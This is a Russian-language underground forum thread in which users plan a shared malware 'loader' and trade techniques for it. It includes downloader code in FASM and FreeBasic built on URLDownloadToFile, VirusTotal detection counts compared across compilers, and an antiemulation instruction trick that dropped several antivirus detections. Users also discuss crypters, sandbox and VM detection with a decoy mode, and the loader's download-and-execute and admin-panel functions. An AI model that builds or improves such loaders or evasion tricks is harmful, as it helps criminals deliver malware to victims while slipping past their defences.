• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Антиэмуляция, но это проблема крипторов, а не твоя.

Лично я считаю лишним, изъебыаться над сокрытием от аверов, т.к это полностью от крипторов должно зависить.

Но для лучшей живучести админки можно проверять окружение на предмет всяких песочниц и виртуалок.
 
Код:
format PE GUI

section '.code' code readable executable
ret
Компилим последней версией FASM и на выходе получаем простой exe, размер которого 1kb
Идем на virustotal.com и проверяем:
Код:
Detection ratio: 1/42
CAT-QuickHeal  (Suspicious) - DNAScan

Теперь берем и компилим полную версию:
Код:
format PE GUI
include 'win32a.inc'

section '.code' code readable executable

invoke URLDownloadToFile,0,url,0,0,0
invoke ExitProcess,0

url:
    db 'http://microsoft.com/'

data import
     
library urlmon,'URLMON.DLL',\
 kernel32,'KERNEL32.DLL'

import kernel32,\
ExitProcess,'ExitProcess'
import urlmon,\
URLDownloadToFile,'URLDownloadToFileA'
end data

section '.reloc' data discardable fixups

Идем на virustotal.com и проверяем:
Код:
Detection ratio: 7/40
AntiVir              HEUR/Malware
Commtouch            W32/Downloader-Sml!Eldorado
F-Prot               W32/Downloader-Sml!Eldorado
K7AntiVirus          Riskware
McAfee-GW-Edition    Heuristic.BehavesLike.Win32.Downloader.J
VBA32                suspected of Trojan.Downloader.gen.h
VIPRE                Trojan-Downloader.Win32.Small!cobra (v)

Сравниваем результаты:
Код:
MASM32
Detection ratio: 4/42
Detection ratio: 12/41

Код:
FASM
Detection ratio: 1/42
Detection ratio: 7/40

Осталось: С++, Delphi, VB

ЗЫ: так понятнее?
 
а зачем сейчас за детекты задумываться? ведь с языком лучше определяться лишь для максимальной прозрачности программирования, но насчет идеи с фасмом и масмом понятно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
KraZz
Мне не особо понятно одно - выходит, Масм для разработки малвари умер? Или что имеется ввиду? Я вижу, что фасм меньше аверов детектит, но если кодер не знает фасм (а тем более дельфи или С++), то что ему остается делать?
1. Или переучиваться на другой язык;
2. Или искать обходы и варианты в том, что он знает.

Кстати:
Код:
#include once "windows.bi"

 Function downloadfile (Byref url As String, Byref target As String) As Integer
    Dim As Any Ptr library
    Dim URLDownloadToFile As Function (Byval pCaller As Any Ptr, Byval szURL As String, _
      Byval szFileName As String, Byval dwResv As Uinteger, Byval lpfnCB As Any Ptr) As Integer
    
    library = Dylibload("urlmon")
    If library = 0 Then Return false
    
    URLDownloadToFile = Dylibsymbol(library, "URLDownloadToFileA")
    If URLDownloadToFile = 0 Then Dylibfree(library): Return false
    
    If URLDownloadToFile(0, url, target, 0, 0) Then Dylibfree(library): Return false
    
    Dylibfree(library)
    Return true
  End Function
 downloadfile("http://microsoft.com/","1.txt")
Дает на виртотале 2/42
Jiangmin Trojan/Sasfis.mei 20120623
VBA32 suspected of Trojan.Downloader.gen.h 20120622
Это FreeBasic, язык чем-то похож на Си с синтаксисом Qbasic.

Пустой же семпл не палится абсолютно ничем. Язык не особо популярный, профессионалы кодят на каком-нибудь Си, а для новичков там нет столько мануалов, как даже для Масм, поэтому видать сигнатуры еще не заезжены. Минус - размер пустого ехе будет 7.5 кб, за счет msvcrt.dll
Код:
#include once "windows.bi"

end
Дает 0\42.

Но есть минус - кто знает этот freebasic? И что будет быстрее и эффективнее - переучится на новый язык/найти в Масме какие-то решения по обходам?

Apocalypse
Может и так, но учитывая, какого качества сейчас крипторы..
 
KraZz,не в обиду сказать,но в вашем подходе так получается,что "юзайте разные компиляторе,ибо непалевна... :punk: ",а тем не менее любой компиль\транслятор... могут так же занести,как и MASM (или либы или вызовы или еще чего...). :D
Почему бы не придумать что-нить поновее в плане пронкновения хотя бы? :)
To Apocalypse,согласен с тобой,но опять же-качество нынешних крипторов оставляет желать лучшего (мягко говоря)... тут даже банальный xor с тем же ключом и какойто загогулиной любой собьет половину АВ... (проверил на закрытом проекте,отвечаю за то что говорю). B)
ПыСы>Я так полагаю,что паблик лоадер будет юзать не только дамаге?
 
Мдя, да я прям, рыдаю от обиды %)))
Где я там призывал кодить на чем-то, на чем вы не хотите кодить, не надо выдумывать того чего нет...
Если не понятно про что я написал, то это уже не мои проблемы...
Вот бля уже это заебывать начинает нах
Для примера:
DarckSol пишет:
Без разницы на чём писать софт, играясь как то с WinAPI в делфях накатал игрушку для "погуби учётку" ну так и вот, голый проект без кода весил 8 кило, готовый скомпиленный тоже 8 кило, я не трогал дефолтный system.pas который инклудится всегда по умолчанию если не назначен.., так вот, лоадырь при подходе получился аж 1,5 кило, пример, где то в тут болтаются... MASM32 бесспорно хорошо, но я делаю что могу с тем что умею))
Суть написанного понятна? (хотя я бля уже сомневаюсь)
Стоит задача найти тех, кто кодит и узнать на чем кодит.. тот, кто выложит примеры кода (как это сделала salamandra) по-дефолту даст "согласие" на участие в проекте
DarckSol кодит на Delphi (еще, к примеру, Apocalypse кодит на Delphi и ASM знает), но он не сделал шаблон и тесты (ну условно ;) я знаю, что все понимают, что это не серьезно и попкорн уже надоело есть, но..) - значит ему/им это нах не надо, но зато потом никто уже не скажет...
Теперь возьмем пост salamandra - это был просто АП темы, но был грамотный АП
А что мы теперь видим, да нихуя и не видим.. если бы реально вот это было на деле:
Quake3 пишет:
В лоадере же вряд ли будет много кода,поэтому можно сделать так: выбрать основной язык, например С/С++ (т.к. это стандарт, как вижу). Если кодер его не знает, пусть пишет свою часть (там функцию шифрования например) на Фасме/Дельфи и т.д. А потом ее можно будет отладить и перевести на Си/С++. Я не специалист, но пробовал переписывать сорцы из Си на Масм, и ничего особо сложного в этом не вижу.
Quake3 скачал бы FASM, попробовал скомпилить и стукнул бы в личку salamandra для дальнейшего кодинга, salamandra так же знает ASM и это облегчило бы их общение и могли бы уже кодить что-то вдвоем, а там дальше еще кто-то АПнул тему...
На деле-же на пустом примере фасма, мы видим
Quake3 пишет:
Пока не ясно вообще, кто будет 100% участвовать в разработке.
Quake3 пишет:
Я вижу, что фасм меньше аверов детектит, но если кодер не знает фасм (а тем более дельфи или С++), то что ему остается делать?
1. Или переучиваться на другой язык;
Quake3 пишет:
Предлагаю коллективно написать нерезидентный лоадер от форума Damagelab
Я (Quake3) - веб-кодинг (php,js), masm32
Shyrka - Си. Разработка самого лоадера.
О каком здесь коллективном кодинге речь идет?
лоадер от форума Damagelab?
Я уже молчу о постах других мемберов...

P. S.
Quake3 пишет:
Тогда в каком направлении мне двигаться?
http://xss.pro/index.php?topic=20628 - Реверс AVпии.., Часть 2 :)
ЗЫ: так понятнее?
 
Ну хорошо. С примером на фасме и масме все понятно.
Далее длоадер пишется только для пользователей длабы или от кодеров длабы?
Возможно на время разработки до первого релиза стоит сделать доступ только для девелоперов этого проекта (заранее предложить свои кандидатуры), распределить обязанности (хотя не понятно что там писать целой группе людей?). Далее набрать бета-тестеров.
p.s. по скольку большинство кода было продемонстрированно тут на делфях и масме, я так понял проект будет на делфи с использованием инлайн асма?
p.s.s. Будет ли вообще проект?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
p.s.s. Будет ли вообще проект?
Надеюсь, что да.
Мне кажется, что надо сделать так - выбрать руководителя проекта, потом подсчитать людей (как я вижу, точно желают участвовать greenzy,DarckSol,demien) и раздать каждому часть задания (кому-то скачивание файла, кому-то работу в системе). Потом все это собрать в кучу, протестировать на разных ОС.
Лично я (если сам лоадер будут писать грамотные люди) займусь сугубо админкой, дабы не смущать говнокодом людей. Шифрование гейта и т.д.

Но тут такое дело - а кто будет руководителем? Как я вижу, никому это нафиг не упало. TrashGen в тему даже не ходит, Cream тоже, KraZz ? тоже неясно, но скорее всего он не захочет.
 
Предлагаю коллективно написать нерезидентный лоадер от форума Damagelab. Цель проекта - попрактиковаться в кодинге, сделать годный продукт для паблика. К участию приглашаются все желающие, при заявке на участие указывайте, как именно вы можете помочь проекту.
Твои слова, ты предложил, тебе и командовать :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DarckSol
У меня знания по малвари и кодингу очень низкие. Хотя попробовать можно, если конечно, никто не будет против.

Собственно надо реализовать такие функции:
1. Детект виртуалок/аверских тулз. Если заметили - включаем фейк моде, т.е. отстук куда-то в гугл или на левые домены.

2. Скачивание файла, полученного из админки линков. Т.е. получил ссылку на скачку - грамотно скачал файл, проверил как там и что, запустил.

3. Собственно,работа в системе (общение с админкой, установка, удаление).

Давайте так - каждый берет себе какой-то пункт, отмечается в теме (вида - я такой-то беру такой-то пункт), реализует его, и выкладывает тут или еще где. Другие комментируют код, дополняют если что.
 
готов поучаствовать,знаю С++,Delphi,Asm (скажем так,на прочном среднем уровне в контексте кодинга малвари...).
Над чем работал:Логгеры,прокси-боты,лоадеры,RAT...
Если кому нужны будут поручители-пишите в личку или сюда-дам контакты людей с которыми работал.
З.Ы:С первого числа инета не будет,окромя мобильного,но это не значит что я не буду участвовать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Все таки Асм - интересный язык.
Было детектов 6/42
Добавил в начало кода строку
Код:
pshufw MM1,MM2,0ffh
Это достаточно старая паблик антиэмуляция, которую на васме упоминали еще в году 2008, если не раньше. Помогла снять с пробега четырех аверов:

Commtouch - W32/Downloader-Sml!Eldorado
F-Prot - W32/Downloader-Sml!Eldorado
K7AntiVirus - Riskware
VIPRE - Trojan-Downloader.Win32.Small!cobra (v)

Но, к сожалению, добавился детект
Sophos - Mal/EncPk-HL
Мб как раз за счет этой инструкции.

Как считаете, такой метод вообще годный? Или есть компы, которые не поддерживают такие инструкции?
 
А если не в начале кода вставить? Допустим в начале сделать обычный пролог для процедуры, потом всякие левые вызовы апи, и где-нибудь вхерачить данную инструкцию?
 
А если не в начале кода вставить? Допустим в начале сделать обычный пролог для процедуры, потом всякие левые вызовы апи, и где-нибудь вхерачить данную инструкцию?

В любом случае для стандартного скомпиленного кода эта инструкция не стандартна и при первом же попадании в ав лабы будет детект или как минимум suspected.

Такие инструкции лучше вставлять в шеллкоде если до него проходит эмуль, такая интсрукция может обламать некоторые. Это поможет избавиться от сигнатурного детекта.

p.s.
Вы пока об антиэмуляции и дектектах не думайте. Задача сейчас это кодес и функционал. В любом случае "чистым" его грузить наврядли кто-то станет, в любом случае сверху криптор, так зачем задумываться об антиэмуляции, это дело криптора. Если и думать о защите, то это детект вирт. и песочниц и какое-нибдуь левое действие при обнаружении.
 
Внешний криптор уже потом?Морфить можно на на уровне компиляции.А потом уже и криптор.
Эх,не достигла я всего чего хотела,но на фасме можно делать удивительные вещи!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Предлагаю вообще закрыть данную тему, по крайней мере для себя я ее закрываю окончательно. Если кто-то из системных кодеров изъявит желание все этим занятся - админку я напишу/переделаю, все что скажите. А с самим лоадером фигня какая-то получается. Мне просто уже неудобно заебывать тупыми вопросами waahoo и иже с ним, т.к. самостоятельно я не могу написать ровным счетом ничего (ни поиск файлов, ни вининет, ни сокеты, ни копирование строк - все, как можно заметить по форуму, доделывали другие люди).
Проект изначально был провальным, и ведь говорили об этом люди еще на первой страницы, но видать недаром в народе говорят, что дурак учится на своих ошибках :bang:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх